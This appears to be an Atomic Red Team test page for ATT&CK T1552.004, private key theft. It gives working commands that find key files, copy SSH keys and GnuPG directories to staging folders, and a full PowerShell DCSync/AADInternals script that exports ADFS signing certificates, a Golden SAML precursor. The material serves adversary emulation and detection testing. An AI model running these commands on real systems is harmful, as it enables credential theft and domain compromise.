T1552.004

Try it using Invoke-Atomic

Unsecured Credentials: Private Keys

Description from ATT&CK

Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc.

Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. These private keys can be used to authenticate to Remote Services like SSH or for use in decrypting other collected files such as email.

Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)

Some private keys require a password or passphrase for operation, so an adversary may also use Input Capture for keylogging or attempt to Brute Force the passphrase off-line.

Atomic Tests

Atomic Test #1 - Private Keys

Find private keys on the Windows file system. File extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, pfx, .cer, .p7b, .asc

Supported Platforms: windows

auto_generated_guid: 520ce462-7ca7-441e-b5a5-f8347f632696

Inputs:

None

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

dir c:\ /b /s .key | findstr /e .key

Atomic Test #2 - Discover Private SSH Keys

Discover private SSH keys on a macOS or Linux system.

Supported Platforms: macos,linux

auto_generated_guid: 46959285-906d-40fa-9437-5a439accd878

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from.	Path	/
output_file	Output file containing locations of SSH key files	Path	/tmp/keyfile_locations.txt

Attack Commands: Run with sh!

find #{search_path} -name id_rsa 2>/dev/null >> #{output_file}

Cleanup Commands:

rm #{output_file}

Atomic Test #3 - Copy Private SSH Keys with CP

Copy private SSH keys on a Linux system to a staging folder using the

cp

command.

Supported Platforms: linux

auto_generated_guid: 7c247dc7-5128-4643-907b-73a76d9135c3

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from.	Path	/
output_folder	Output folder containing copies of SSH private key files	Path	/tmp/art-staging

Attack Commands: Run with sh!

mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec cp --parents {} #{output_folder} \;

Cleanup Commands:

rm -rf #{output_folder}

Atomic Test #4 - Copy Private SSH Keys with rsync

Copy private SSH keys on a Linux or macOS system to a staging folder using the

rsync

command.

Supported Platforms: macos,linux

auto_generated_guid: 864bb0b2-6bb5-489a-b43b-a77b3a16d68a

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from.	Path	/
output_folder	Output folder containing copies of SSH private key files	Path	/tmp/art-staging

Attack Commands: Run with sh!

mkdir #{output_folder}
find #{search_path} -name id_rsa 2>/dev/null -exec rsync -R {} #{output_folder} \;

Cleanup Commands:

rm -rf #{output_folder}

Atomic Test #5 - Copy the users GnuPG directory with rsync

Copy the users GnuPG (.gnupg) directory on a Mac or Linux system to a staging folder using the

rsync

command.

Supported Platforms: macos,linux

auto_generated_guid: 2a5a0601-f5fb-4e2e-aa09-73282ae6afca

Inputs:

Name	Description	Type	Default Value
search_path	Path where to start searching from	Path	/
output_folder	Output folder containing a copy of the .gnupg directory	Path	/tmp/GnuPG

Attack Commands: Run with sh!

mkdir #{output_folder}
find #{search_path} -type d -name '.gnupg' 2>/dev/null -exec rsync -Rr {} #{output_folder} \;

Cleanup Commands:

rm -rf #{output_folder}

Atomic Test #6 - ADFS token signing and encryption certificates theft - Local

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as Administrator on an ADFS server. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Supported Platforms: windows

auto_generated_guid: 78e95057-d429-4e66-8f82-0f060c1ac96f

Inputs:

None

Attack Commands: Run with powershell!

Import-Module AADInternals -Force
Export-AADIntADFSCertificates
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

Cleanup Commands:

Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: AADInternals module must be installed.

Check Prereq Commands:

if (Get-Module AADInternals) {exit 0} else {exit 1}

Get Prereq Commands:

Install-Module -Name AADInternals -Force

Atomic Test #7 - ADFS token signing and encryption certificates theft - Remote

Retrieve ADFS token signing and encrypting certificates. This is a precursor to the Golden SAML attack (T1606.002). You must be signed in as a Domain Administrators user on a domain-joined computer. Based on https://o365blog.com/post/adfs/ and https://github.com/fireeye/ADFSDump.

Supported Platforms: windows

auto_generated_guid: cab413d8-9e4a-4b8d-9b84-c985bd73a442

Inputs:

Name	Description	Type	Default Value
adfs_service_account_name	Name of the ADFS service account	String	adfs_svc
replication_user	Username with replication rights. It can be the Domain Admin running the script	String	Administrator
replication_password	Password of replication_username	String	ReallyStrongPassword
adfs_server_name	Name of an ADFS server	String	sts.contoso.com

Attack Commands: Run with powershell!

Import-Module ActiveDirectory -Force 
Import-Module AADInternals -Force | Out-Null
#Get Configuration
$dcServerName = (Get-ADDomainController).HostName
$svc = Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq "#{adfs_service_account_name}"
$PWord = ConvertTo-SecureString -String "#{replication_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList #{replication_user}, $PWord
# use DCSync to fetch the ADFS service account's NT hash
$hash = Get-AADIntADUserNTHash -ObjectGuid $svc.ObjectGuid -Credentials $Credential -Server $dcServerName -AsHex
$ADFSConfig = Export-AADIntADFSConfiguration -Hash $hash -SID $svc.Objectsid.Value -Server #{adfs_server_name}
# Get certificates decryption key
$Configuration = [xml]$ADFSConfig
$group = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.Group
$container = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
$parent = $Configuration.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
$base = "LDAP://CN=$group,$container,$parent"
$ADSearch = [System.DirectoryServices.DirectorySearcher]::new([System.DirectoryServices.DirectoryEntry]::new($base))
$ADSearch.Filter = '(name=CryptoPolicy)'
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("displayName") | Out-Null
$aduser = $ADSearch.FindOne()
$keyObjectGuid = $ADUser.Properties["displayName"] 
$ADSearch.PropertiesToLoad.Clear()
$ADSearch.PropertiesToLoad.Add("thumbnailphoto") | Out-Null
$ADSearch.Filter="(l=$keyObjectGuid)"
$aduser=$ADSearch.FindOne() 
$key=[byte[]]$aduser.Properties["thumbnailphoto"][0] 
# Get encrypted certificates from configuration and decrypt them
Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $key
Get-ChildItem | Where-Object {$_ -like "ADFS*"}
Write-Host "`nCertificates retrieved successfully"

Cleanup Commands:

Remove-Item -Path ".\ADFS_encryption.pfx" -ErrorAction Ignore
Remove-Item -Path ".\ADFS_signing.pfx" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: AADInternals and ActiveDirectory modules must be installed.

Check Prereq Commands:

if ($(Get-Module AADInternals) -or $(Get-Module -ListAvailable -Name ActiveDirectory)) {echo 0} else {echo 1}

Get Prereq Commands:

Install-Module -Name AADInternals -Force

source